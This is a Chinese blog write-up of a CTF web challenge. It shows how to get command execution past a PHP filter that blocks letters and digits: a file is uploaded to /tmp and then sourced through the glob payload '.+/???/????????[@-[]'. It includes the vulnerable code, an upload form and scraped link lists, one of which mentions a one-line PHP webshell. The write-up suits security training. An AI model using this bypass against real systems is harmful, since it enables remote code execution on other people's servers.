无字母数字rce(ctfshow web入门56)
无字母数字rce(ctfshow web入门56)
我们根据这一题直接进入主题
//web56
<?php
// 你们在炫技吗?
if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}else{highlight_file(__FILE__);
}
过滤了字母,数字。
看了三位师傅的 wp才醒悟 y1ng P神 firebasky 再次感谢三位师傅
先说一下这一题的解题思路:
我们通过post一个文件(文件里面写入sh命令),在上传的过程中,通过.(点,也就是 source命令)
去执行执行这个文件。一般来说我们上传的文件在linux下临时保存在/tmp/php??????
一般后面的6个字符是随机生成的有大小写。(可以通过linux的匹配符去匹配)
**注意:通过
.去执行sh命令不需要有执行权限**
好,接下来我已一个小白的角度分析题目所需的知识点。 首先是构造一个post文件上传,这里面也是很复杂的,参考 PHP 文件上传
下面就是我们构造的post文件上传数据包
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>POST数据包POC</title>
</head>
<body>
<form action="http://46230c96-8291-44b8-a58c-c133ec248231.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接--><label for="file">文件名:</label><input type="file" name="file" id="file"><br><input type="submit" name="submit" value="提交">
</form>
</body>
</html>
然后直接抓包
接下来构造poc命令
?c=.+/???/????????[@-[]
用到Linux下的glob通配符:
*
可以代替0个及以上任意字符?
可以代表1个任意字符
注:后面的[@-[]
是linux下面的匹配符,是进行匹配的大写字母。
介绍一下bin目录:
bin为binary的简写主要放置一些 系统的必备执行档例如:cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等,也就是一些系统命令都在bin 目录下
在这里再解释一下为什么加上#! #!的意思是调用 /bin/sh 命令所以需要加
成功遍历当前目录文件
直接cat 得到flag
补充
1.playload:?c=.+/???/???[@-[] 因为 .命令 (也就是source命令)执行需要用空格 我们用 + 绕过(也就是%20)。
2.文件上传的时候 #!/bin/sh 加上 #!的意思是调用bin/sh的命令
3.我们的poc的? 的数量只有11个,因为最后一个匹配为大写,用[@-[] 代替了,不需要在它的后面再加上?了
无字母数字rce(ctfshow web入门56)相关推荐
- Ctfshow web入门 PHP特性篇 web89-web151 全
web入门 PHP特性篇的wp都一把梭哈在这里啦~ 有点多,师傅们可以收藏下来慢慢看,写的应该挺全面的叭- 有错误敬请斧正! CTFshow PHP web89 看题目,有个flag.php文件.题目 ...
- ctfshow web入门 PHP特性后篇(web133-web150)
目录 web133 web134 web135 web136 web137 web138 web139 web140 web141 web142 wen143 web144 web145-web150 ...
- 代码执行漏洞-无字母数字RCE-create_function()
代码执行漏洞 eval()函数 <?php eval($_POST[0]);?> eval会把接收到的字符串当作PHP代码来执行(一句话木马) 利用这个可以连接蚁剑,而连接密码就是中括号中 ...
- ctfshow web入门 命令执行:55-57
刷题记录. 目录 web55 web56 web57 web55 关键源码: // 你们在炫技吗? if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match ...
- [ctfshow web入门]常用姿势801-806
1NDEX 0x00 前言 801 flask pin码计算 谨记!!python 3.8和3.6 pin码生成方式不同 werkzeug版本不同machine-id获取不同 python3.8 pi ...
- ctfshow web入门 命令执行 web29~web77 web118~web124
目录 web29 web30 web31 web32 web33 web34 web35 web36 web37 web38 web39 web40 web41 web42 web43 web44 w ...
- CTFSHOW WEB入门
----------信息搜集---------- 源码泄露 查看源码即可 前台JS绕过 直接开发者工具查看源码 当然也可以抓包查看 也可以禁用js查看源码 协议头信息泄露 或者抓一下包也可 robot ...
- ctfshow web入门-sql注入
ctfshow web入门-sql注入 web171 web172 web173 web174 web175 web176 web177 web178 web179 web180 web181 web ...
- ctfshow web入门 php特性
文章目录 web89 web90 web91 web92 姿势一 姿势二 姿势三 web93 web94 web95 web96 姿势一 姿势二 web97 web98 web99 web100 姿势 ...
最新文章
- url参数解析 url解析 ?解析成对象
- Android Binder 学习笔记
- JavaScript原型学习
- pct_change()
- linux ps 只显示端口,这30个Linux系统监控工具,每个系统管理员都应该知道
- 企业批量部署RealVNC远程控制软件
- 阿里安全猎户座实验室(Alibaba Orion Security Lab)简介
- pandas获取某行数据
- IBM与广东中医院 携手共建智慧医疗
- 小课堂week17 编程范式巡礼第二季 并发那些事
- 安卓Android百度输入法皮肤-疯狂码字的快乐-《Write 2022升级版》
- 计算一阶导数的四阶中心差分格式
- SCI投稿:MDPI旗下期刊Mathematics投稿经历
- C语言:变量存储类别
- 我对技术的态度是什么样的?
- 充分利用公网 -- 将联通光猫设置为桥接
- 我的世界java版无效会话_我的世界局域网联机显示无效的会话和搜不到主机
- 2019年IT行业就业形势
- flutter Container设置渐变色
- 致远SPM之接待管理解决方案
热门文章
- 远翔FP5217 替代 德州仪器TI TPS61178
- 诗经 - 小雅 - 车攻
- python简短有用的代码集锦
- 为什么在线个人品牌对企业家至关重要
- 编写一个 Java 应用程序,该程序中有 3 个类:Triangle、T rapezium 和 Circle,分别用来 表示三角形、梯形和圆形。
- 格网中A点(左上角)到B点(右下角)路径数量算法
- 第十七篇,文件偏移量lseek函数,系统IO应用实例(LCD应用)和内存映射详细讲解。
- 京东科技股权曝光:京东持股41.7% 刘强东有52%投票权
- 想不想修真获取服务器配置文件,想不想修真神界刷资源要什么条件?神界刷资源收益与属性要求配置[多图]...
- 欢庆“腊八节” 美国纽约华埠居民掀“聚餐热”